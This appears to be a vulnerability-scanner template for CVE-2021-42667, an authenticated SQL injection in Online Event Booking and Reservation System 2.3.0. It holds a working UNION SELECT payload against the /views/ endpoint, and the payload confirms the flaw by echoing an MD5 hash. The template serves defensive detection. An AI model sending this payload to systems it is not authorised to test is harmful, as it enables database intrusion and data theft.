Online Event Booking and Reservation System 2.3.0 - SQL Injection

id: CVE-2021-42667

info:
  name: Online Event Booking and Reservation System 2.3.0 - SQL Injection
  author: fxploit
  severity: critical
  description: |
    Online Event Booking and Reservation System 2.3.0 contains a SQL injection vulnerability in event-management/views. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update to a non-vulnerable version of the Online Event Booking and Reservation System.
  reference:
    - https://github.com/0xDeku/CVE-2021-42667
    - https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
    - https://github.com/TheHackingRabbi/CVE-2021-42667
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42667
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-42667
    cwe-id: CWE-89
    epss-score: 0.16173
    epss-percentile: 0.96962
    cpe: cpe:2.3:a:online_event_booking_and_reservation_system_project:online_event_booking_and_reservation_system:2.3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: online_event_booking_and_reservation_system_project
    product: online_event_booking_and_reservation_system
  tags: cve,cve2021,sqli,authenticated,online_event_booking_and_reservation_system_project,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name={{username}}&pwd={{password}}
      - |
        GET /views/?v=USER&ID=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2Cmd5({{num}})%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%3B--%20- HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200